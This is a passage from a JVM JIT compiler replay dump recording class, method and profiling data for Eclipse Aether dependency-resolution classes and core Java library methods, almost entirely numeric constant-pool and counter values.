1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/collection/DependencyTraverser 1 0 11 100 1 100 1 1 1 1 1 1 1\nciInstanceKlass java/util/ConcurrentModificationException 0 0 34 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass com/google/common/collect/AbstractMapBasedMultimap$RandomAccessWrappedList 1 1 48 9 10 7 7 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 100 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/util/graph/traverser/FatArtifactTraverser 1 1 79 10 7 12 1 1 1 8 1 10 7 12 1 1 1 10 7 12 1 1 1 100 1 8 1 8 1 11 7 12 1 1 1 10 7 12 1 1 1 8 1 10 12 1 1 10 12 1 1 10 12 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/util/graph/manager/ClassicDependencyManager 1 1 276 10 7 12 1 1 1 10 7 12 1 1 1 10 7 12 1 1 9 12 1 1 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 8 1 10 7 12 1 1 1 11 7 12 1 1 1 11 7 12 1 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 1 10 12 1 1 11 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 7 1 10 12 1 11 12 1 1 10 12 1 10 12 1 1 100 1 8 1 11 12 1 1 10 12 1 1 11 7 12 1 1 18 12 1 1 11 12 1 1 11 12 1 1 8 1 11 12 1 1 7 1 10 10 12 1 1 10 12 1 100 1 8 1 10 12 1 11 12 1 11 12 1 10 12 1 1 100 1 10 12 1 1 7 1 10 12 1 10 12 1 1 7 1 10 12 1 10 12 1 1 10 11 9 12 1 11 12 10 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 16 15 10 12 16 15 10 7 12 1 1 1 1 1 100 1 100 1 1\nciInstanceKlass org/eclipse/aether/util/graph/selector/AndDependencySelector 1 1 164 10 7 12 1 1 1 7 1 10 7 12 1 1 1 10 12 1 9 7 12 1 1 1 10 100 12 1 1 1 11 100 12 1 1 1 11 7 1 11 7 12 1 1 1 10 12 1 8 1 10 7 12 1 1 1 11 12 1 1 11 7 12 1 1 11 12 1 1 11 12 1 1 8 1 11 12 1 1 11 12 1 10 11 12 1 1 10 12 1 10 12 1 1 10 11 9 12 1 1 11 12 100 1 10 10 100 12 1 1 1 10 12 1 1 10 12 1 11 12 1 8 1 10 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/util/graph/selector/ScopeDependencySelector 1 1 152 10 7 12 1 1 1 9 7 12 1 1 1 10 12 1 1 9 12 1 1 9 12 1 11 7 12 1 1 1 7 1 10 12 1 11 12 1 1 7 1 7 1 10 10 10 7 12 1 1 1 10 12 1 8 1 10 7 12 1 1 1 10 7 12 1 1 1 11 12 1 1 8 1 11 7 12 1 1 1 10 12 1 10 12 1 1 10 12 1 10 12 1 11 12 1 8 1 10 100 12 1 1 10 100 12 1 1 1 10 100 12 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/eclipse/aether/util/artifact/SubArtifact\ninstanceKlass org/eclipse/aether/artifact/DefaultArtifact\nciInstanceKlass org/eclipse/aether/artifact/AbstractArtifact 1 1 211 10 7 12 1 1 1 10 7 12 1 1 1 10 12 1 1 8 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 1 10 7 12 1 1 1 10 12 1 1 8 1 10 12 1 8 1 10 12 1 1 7 1 10 10 12 1 1 10 12 1 7 1 10 12 1 10 12 1 10 12 1 10 12 1 10 12 1 10 12 1 1 10 12 1 10 12 1 1 10 12 1 1 10 12 1 1 10 7 12 1 1 11 7 1 11 10 12 1 1 11 12 1 1 7 1 10 12 1 10 7 12 1 1 10 12 1 10 12 1 10 12 1 10 12 1 1 7 1 11 11 11 11 11 11 11 10 12 1 10 12 1 1 10 8 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield org/eclipse/aether/artifact/AbstractArtifact SNAPSHOT_TIMESTAMP Ljava/util/regex/Pattern; java/util/regex/Pattern\nciInstanceKlass org/eclipse/aether/artifact/DefaultArtifact 1 1 184 10 7 12 1 1 1 10 7 12 1 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 1 10 100 12 1 1 1 100 1 100 1 10 8 1 10 12 1 1 8 1 10 12 1 1 10 12 1 10 12 1 1 9 12 1 1 9 12 1 8 1 10 12 1 1 9 12 1 8 1 9 12 1 9 12 1 9 12 1 1 10 12 1 1 9 12 1 1 10 100 12 1 1 10 12 1 100 1 10 12 1 10 12 1 10 12 1 1 11 7 12 1 1 11 12 1 11 12 1 10 12 1 1 11 7 1 7 1 10 11 12 1 1 10 12 1 8 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield org/eclipse/aether/artifact/DefaultArtifact COORDINATE_PATTERN Ljava/util/regex/Pattern; java/util/regex/Pattern\nciInstanceKlass org/eclipse/aether/util/version/GenericVersionScheme 1 1 216 10 7 12 1 1 1 7 1 10 12 1 100 1 10 8 1 10 7 12 1 1 1 7 1 7 1 10 8 1 10 12 1 1 8 1 10 12 1 1 100 1 100 1 10 8 1 10 12 1 1 10 12 1 1 10 12 1 10 12 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 10 12 1 8 1 10 12 1 1 11 12 1 1 8 1 8 1 7 1 10 12 1 1 10 12 1 10 100 12 1 1 1 10 12 1 10 12 1 1 10 12 1 10 12 1 9 100 12 1 1 1 8 1 10 100 12 1 1 10 12 1 1 8 1 10 12 1 10 12 1 8 1 8 1 8 1 10 12 1 8 1 8 1 10 12 1 8 1 10 12 1 1 10 12 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/version/VersionConstraint 1 0 13 100 1 100 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/version/VersionRange 0 0 16 100 1 100 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/util/version/GenericVersionConstraint 1 1 87 10 7 12 1 1 1 8 1 10 7 12 1 1 1 100 1 9 7 12 1 1 1 9 12 1 1 8 1 7 1 11 12 1 1 11 12 1 1 10 100 12 1 1 1 10 12 1 1 10 10 12 1 10 12 1 1 10 12 1 1 10 12 1 1 10 12 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/util/version/GenericVersion 1 1 154 10 7 12 1 1 1 8 1 10 7 12 1 1 1 7 1 9 7 12 1 1 1 10 12 1 1 9 12 1 1 11 7 12 1 1 1 9 12 1 1 7 1 10 7 1 10 12 1 10 12 1 1 10 12 1 1 11 12 1 1 10 12 1 1 10 7 12 1 1 1 11 12 1 11 12 1 1 7 1 10 12 1 10 7 12 1 1 1 10 12 1 10 12 1 1 11 12 1 10 12 1 1 10 12 1 10 12 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/util/version/GenericVersion$Tokenizer 1 1 192 10 7 12 1 1 1 10 7 12 1 1 1 8 1 9 7 12 1 1 1 9 12 1 1 9 12 1 9 12 1 1 10 12 1 1 10 7 12 1 1 1 10 12 1 1 9 12 1 9 12 1 10 12 1 1 7 1 10 7 12 1 1 1 10 12 1 10 12 1 7 1 10 12 1 100 1 100 1 10 12 1 8 1 10 12 1 1 9 12 1 1 8 1 9 12 1 9 12 1 1 9 12 1 9 12 1 9 12 1 1 11 7 12 1 1 1 9 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 10 12 1 8 1 11 12 1 1 8 1 8 1 8 1 8 1 8 1 8 1 8 1 8 1 8 1 8 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nstaticfield org/eclipse/aether/util/version/GenericVersion$Tokenizer QUALIFIER_ALPHA Ljava/lang/Integer; java/lang/Integer\nstaticfield org/eclipse/aether/util/version/GenericVersion$Tokenizer QUALIFIER_BETA Ljava/lang/Integer; java/lang/Integer\nstaticfield org/eclipse/aether/util/version/GenericVersion$Tokenizer QUALIFIER_MILESTONE Ljava/lang/Integer; java/lang/Integer\nstaticfield org/eclipse/aether/util/version/GenericVersion$Tokenizer QUALIFIERS Ljava/util/Map; java/util/TreeMap\nciInstanceKlass org/eclipse/aether/util/version/GenericVersion$Item 1 1 115 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 1 7 1 10 12 1 1 100 1 100 1 10 8 1 10 12 1 1 10 12 1 10 12 1 1 10 12 1 100 1 10 12 1 1 10 12 1 100 1 10 12 1 1 10 12 1 10 12 1 10 12 1 1 8 1 10 12 1 9 12 1 1 8 1 9 12 1 1 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nstaticfield org/eclipse/aether/util/version/GenericVersion$Item MAX Lorg/eclipse/aether/util/version/GenericVersion$Item; org/eclipse/aether/util/version/GenericVersion$Item\nstaticfield org/eclipse/aether/util/version/GenericVersion$Item MIN Lorg/eclipse/aether/util/version/GenericVersion$Item; org/eclipse/aether/util/version/GenericVersion$Item\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$InternPool 1 0 19 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$WeakInternPool 1 1 81 10 7 12 1 1 1 10 7 1 7 1 10 12 1 10 7 12 1 1 1 9 12 1 1 11 7 12 1 1 1 7 1 10 12 1 10 12 1 11 12 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/df/NodeStack 1 1 70 10 7 12 1 1 1 7 1 10 12 1 9 7 12 1 1 1 10 12 1 1 100 1 8 1 10 12 1 10 12 1 1 10 12 1 1 7 1 10 12 1 1 10 12 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/CollectStepDataImpl 1 1 54 10 7 12 1 1 1 10 7 12 1 1 1 7 1 9 7 12 1 1 1 7 1 9 12 1 1 7 1 9 12 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey 1 1 117 10 7 12 1 1 1 10 7 12 1 1 1 9 7 12 1 1 1 10 12 1 1 9 12 1 1 11 7 12 1 1 1 9 12 1 11 12 1 1 10 12 1 11 7 12 1 1 11 12 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 10 12 1 10 12 1 1 10 7 1 10 12 1 1 10 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$Constraint 1 1 112 10 7 12 1 1 1 10 7 12 1 1 1 9 7 12 1 1 1 10 12 1 1 11 7 12 1 1 1 7 1 9 12 1 1 11 12 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 1 10 12 1 10 12 1 9 12 1 1 10 12 1 1 9 12 1 1 10 12 1 1 10 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 100 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$Constraint$VersionRepo 1 1 32 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1\nciInstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCycle 1 1 152 10 100 12 1 1 1 11 7 12 1 1 1 7 1 11 12 1 1 11 12 1 1 100 1 11 12 1 1 10 12 1 10 100 12 1 1 1 10 100 12 1 1 1 9 100 12 1 1 1 9 12 1 1 11 12 1 1 11 7 12 1 1 1 10 7 12 1 1 1 11 12 1 11 12 1 11 12 1 100 1 10 12 1 11 12 1 1 11 100 12 1 1 1 11 12 1 1 8 1 10 12 1 1 10 10 100 12 1 1 1 10 12 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/eclipse/aether/collection/DependencyManagement 1 1 61 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 9 12 1 1 9 12 1 1 9 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciMethod java/lang/Object <init> ()V 4097 1 4808015 0 0\nciMethod java/lang/Object getClass ()Ljava/lang/Class; 2049 1 256 0 -1\nciMethod java/lang/Object hashCode ()I 2049 1 256 0 -1\nciMethod java/lang/Object equals (Ljava/lang/Object;)Z 2113 1 29459 0 -1\nciMethod java/lang/String length ()I 3097 1 1913456 0 64\nciMethod java/lang/String isEmpty ()Z 1385 1 41512 0 -1\nciMethod java/lang/String charAt (I)C 2105 1 2224208 0 128\nciMethod java/lang/String equals (Ljava/lang/Object;)Z 2497 1 16949 0 576\nciMethod java/lang/String equalsIgnoreCase (Ljava/lang/String;)Z 2849 1 5758 0 1760\nciMethod java/lang/String compareToIgnoreCase (Ljava/lang/String;)I 1241 1 4651 0 0\nciMethod java/lang/String regionMatches (ILjava/lang/String;II)Z 1 1 2506 0 -1\nciMethod java/lang/String regionMatches (ZILjava/lang/String;II)Z 2105 1 11655 0 2080\nciMethod java/lang/String startsWith (Ljava/lang/String;I)Z 2193 2313 12697 0 736\nciMethod java/lang/String startsWith (Ljava/lang/String;)Z 2313 1 161022 0 640\nciMethod java/lang/String hashCode ()I 2305 1 18924 0 480\nciMethod java/lang/String indexOf (I)I 2065 1 425257 0 -1\nciMethod java/lang/String lastIndexOf (I)I 2049 1 74443 0 -1\nciMethod java/lang/String substring (I)Ljava/lang/String; 1697 1 10488 0 -1\nciMethod java/lang/String substring (II)Ljava/lang/String; 2121 1 11617 0 -1\nciMethod java/lang/String toLowerCase (Ljava/util/Locale;)Ljava/lang/String; 2057 1 18946 0 1984\nciMethod java/lang/String trim ()Ljava/lang/String; 2937 1 75736 0 -1\nciMethod java/lang/String coder ()B 2177 1 2307124 0 32\nciMethod java/lang/String isLatin1 ()Z 4097 1 3006631 0 64\nciMethod java/util/Map isEmpty ()Z 0 0 1 0 -1\nciMethod java/util/Map get (Ljava/lang/Object;)Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/Map put (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/Map remove (Ljava/lang/Object;)Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/lang/StringBuilder <init> ()V 689 1 272804 0 -1\nciMethod java/lang/StringBuilder append (Ljava/lang/Object;)Ljava/lang/StringBuilder; 425 1 24631 0 -1\nciMethod java/lang/StringBuilder append (Ljava/lang/String;)Ljava/lang/StringBuilder; 1425 1 921094 0 -1\nciMethod java/lang/StringBuilder toString ()Ljava/lang/String; 729 1 301792 0 -1\nciMethod jdk/internal/misc/Unsafe getObjectAcquire (Ljava/lang/Object;J)Ljava/lang/Object; 2049 1 87312 0 -1\nciMethod java/lang/Boolean parseBoolean (Ljava/lang/String;)Z 145 1 13024 0 160\nciMethod java/lang/Boolean valueOf (Z)Ljava/lang/Boolean; 3265 1 227470 0 -1\nciMethod java/lang/Boolean equals (Ljava/lang/Object;)Z 2033 1 23718 0 -1\nciMethod java/lang/Character toLowerCase (C)C 905 1 8815 0 -1\nciMethod java/lang/Character toUpperCase (C)C 833 1 29485 0 -1\nciMethod java/lang/Character digit (CI)I 2057 1 27762 0 224\nciMethod java/lang/Character digit (II)I 2057 1 27762 0 -1\nciMethod java/lang/Number <init> ()V 3081 1 42703 0 32\nciMethod java/lang/Integer parseInt (Ljava/lang/String;I)I 73 121 9752 1 0\nciMethod java/lang/Integer parseInt (Ljava/lang/String;)I 241 1 7175 0 0\nciMethod java/lang/Integer valueOf (I)Ljava/lang/Integer; 1521 1 82005 0 192\nciMethod java/lang/Integer <init> (I)V 3113 1 33386 0 0\nciMethod java/util/Comparator compare (Ljava/lang/Object;Ljava/lang/Object;)I 0 0 1 0 -1\nciMethod java/lang/String$CaseInsensitiveComparator compare (Ljava/lang/String;Ljava/lang/String;)I 1617 1 5260 0 0\nciMethod java/lang/String$CaseInsensitiveComparator compare (Ljava/lang/Object;Ljava/lang/Object;)I 1617 1 5260 0 0\nciMethod java/util/Collection isEmpty ()Z 0 0 1 0 -1\nciMethod java/util/Collection toArray ()[Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/Collection add (Ljava/lang/Object;)Z 0 0 1 0 -1\nciMethod java/util/Collection addAll (Ljava/util/Collection;)Z 0 0 1 0 -1\nciMethod java/util/Set iterator ()Ljava/util/Iterator; 0 0 1 0 -1\nciMethod java/util/AbstractCollection <init> ()V 2457 1 981537 0 32\nciMethod java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 2577 1 61527 0 96\nciMethod java/util/Objects requireNonNull (Ljava/lang/Object;)Ljava/lang/Object; 2521 1 754200 0 64\nciMethod java/util/Objects requireNonNull (Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object; 2057 1 277920 0 64\nciMethod java/util/HashMap <init> (Ljava/util/Map;)V 97 1 2727 0 -1\nciMethod java/util/concurrent/ConcurrentHashMap spread (I)I 2337 1 40979 0 0\nciMethod java/util/concurrent/ConcurrentHashMap tabAt ([Ljava/util/concurrent/ConcurrentHashMap$Node;I)Ljava/util/concurrent/ConcurrentHashMap$Node; 2049 1 87311 0 64\nciMethod java/util/concurrent/ConcurrentHashMap get (Ljava/lang/Object;)Ljava/lang/Object; 2049 33 19844 0 672\nciMethod java/util/concurrent/ConcurrentHashMap put (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; 2049 1 10673 0 -1\nciMethod java/util/concurrent/ConcurrentHashMap$Node find (ILjava/lang/Object;)Ljava/util/concurrent/ConcurrentHashMap$Node; 0 0 1 0 -1\nciMethod java/lang/StringLatin1 charAt ([BI)C 2105 1 2115582 0 -1\nciMethod java/lang/StringLatin1 length ([B)I 0 0 25 0 -1\nciMethod java/lang/StringLatin1 equals ([B[B)Z 1953 2041 4359 0 -1\nciMethod java/lang/StringLatin1 compareToCI ([B[B)I 849 49193 753 0 1280\nciMethod java/lang/StringLatin1 compareToCI_UTF16 ([B[B)I 1 1 15 0 0\nciMethod java/lang/StringLatin1 hashCode ([B)I 889 17441 1089 0 384\nciMethod java/lang/StringLatin1 regionMatchesCI ([BI[BII)Z 2105 6785 6154 0 -1\nciMethod java/lang/StringLatin1 regionMatchesCI_UTF16 ([BI[BII)Z 0 0 1 0 -1\nciMethod java/lang/StringLatin1 toLowerCase (Ljava/lang/String;[BLjava/util/Locale;)Ljava/lang/String; 1025 24209 2694 0 -1\nciMethod java/lang/StringLatin1 getChar ([BI)C 2081 1 7561 0 -1\nciMethod java/util/Arrays copyOf ([Ljava/lang/Object;ILjava/lang/Class;)[Ljava/lang/Object; 1089 1 5486 0 -1\nciMethod java/lang/Math min (II)I 2945 1 116678 0 -1\nciMethod java/lang/StringUTF16 getChar ([BI)C 4097 1 83237 0 -1\nciMethod java/lang/StringUTF16 length ([B)I 3049 1 18442 0 -1\nciMethod java/lang/StringUTF16 equals ([B[B)Z 1 1 28 0 -1\nciMethod java/lang/StringUTF16 compareToCI ([B[B)I 1 1 1 0 0\nciMethod java/lang/StringUTF16 compareToCI_Latin1 ([B[B)I 0 0 4 0 0\nciMethod java/lang/StringUTF16 hashCode ([B)I 1 1 939 0 0\nciMethod java/lang/StringUTF16 regionMatchesCI ([BI[BII)Z 0 0 1 0 -1\nciMethod java/lang/StringUTF16 regionMatchesCI_Latin1 ([BI[BII)Z 0 0 1 0 -1\nciMethod java/lang/StringUTF16 toLowerCase (Ljava/lang/String;[BLjava/util/Locale;)Ljava/lang/String; 1 1 81 0 -1\nciMethod java/lang/StringUTF16 charAt ([BI)C 1 1 8362 0 -1\nciMethod java/util/Collections unmodifiableCollection (Ljava/util/Collection;)Ljava/util/Collection; 489 1 961 0 0\nciMethod java/util/Collections unmodifiableList (Ljava/util/List;)Ljava/util/List; 33 1 12628 0 640\nciMethod java/util/Collections emptyList ()Ljava/util/List; 2265 1 100699 0 0\nciMethod java/util/Collections emptyMap ()Ljava/util/Map; 2057 1 50836 0 0\nciMethod java/util/Collections singletonList (Ljava/lang/Object;)Ljava/util/List; 2049 1 6109 0 -1\nciMethod java/util/Collections$EmptyList isEmpty ()Z 1121 1 140 0 0\nciMethod java/util/List size ()I 0 0 1 0 -1\nciMethod java/util/List isEmpty ()Z 0 0 1 0 -1\nciMethod java/util/List iterator ()Ljava/util/Iterator; 0 0 1 0 -1\nciMethod java/util/List add (Ljava/lang/Object;)Z 0 0 1 0 -1\nciMethod java/util/List hashCode ()I 0 0 1 0 -1\nciMethod java/util/List get (I)Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/List remove (I)Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/AbstractList <init> ()V 1785 1 308543 0 64\nciMethod java/util/Collections$EmptyMap get (Ljava/lang/Object;)Ljava/lang/Object; 1337 1 167 0 0\nciMethod java/util/Iterator hasNext ()Z 0 0 1 0 -1\nciMethod java/util/Iterator next ()Ljava/lang/Object; 0 0 1 0 -1\nciMethodData java/lang/String isLatin1 ()Z 2 3006631 orig 320 144 166 201 142 252 127 0 0 240 162 123 8 182 1 0 0 200 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 57 245 110 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 7 0 2 0 0 0 0 0 0 0 88 0 0 0 254 255 255 255 7 0 3 0 0 0 0 0 data 18 0x30007 0x0 0x58 0x2ddea7 0xa0007 0x13b8 0x38 0x2dcaef 0xe0003 0x2dcaef 0x18 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/lang/Object <init> ()V 2 4808034 orig 320 144 166 201 142 252 127 0 0 16 6 123 8 182 1 0 0 88 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 17 219 74 2 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 4 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/lang/CharacterDataLatin1 toUpperCase (I)I 2065 1 6413 0 -1\nciMethodData java/lang/StringLatin1 hashCode ([B)I 2 27091 orig 320 144 166 201 142 252 127 0 0 56 137 144 8 182 1 0 0 168 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 132 8 0 0 145 30 0 0 121 10 3 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 13 0 0 0 0 0 data 14 0xd0007 0x3d2 0x38 0x614f 0x250003 0x614f 0xffffffffffffffe0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/io/File getPath ()Ljava/lang/String; 1025 1 128 0 0\nciMethod java/io/File compareTo (Ljava/io/File;)I 1241 1 4651 0 0\nciMethod java/io/File equals (Ljava/lang/Object;)Z 1241 1 2443 0 0\nciMethod java/io/WinNTFileSystem compare (Ljava/io/File;Ljava/io/File;)I 1241 1 4651 0 0\nciMethod java/io/FileSystem compare (Ljava/io/File;Ljava/io/File;)I 0 0 1 0 -1\nciMethodData java/util/concurrent/ConcurrentHashMap tabAt ([Ljava/util/concurrent/ConcurrentHashMap$Node;I)Ljava/util/concurrent/ConcurrentHashMap$Node; 2 87311 orig 320 144 166 201 142 252 127 0 0 216 48 142 8 182 1 0 0 16 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 121 160 10 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 136 0 0 0 254 255 255 255 11 0 15 0 0 0 0 0 data 27 0xf000b 0x15411 0x0 0x0 0x0 0x0 0x0 0x2 0x1 0x1b6151995e0 0x120104 0x0 0x0 0x1b615199530 0xa88a 0x1b615af0250 0x3352 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 3 9 [Ljava/util/concurrent/ConcurrentHashMap$Node; 13 java/util/concurrent/ConcurrentHashMap$Node 15 java/util/concurrent/ConcurrentHashMap$ForwardingNode methods 0\nciMethodData java/lang/String charAt (I)C 2 2224340 orig 320 144 166 201 142 252 127 0 0 168 84 123 8 182 1 0 0 0 2 0 0 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 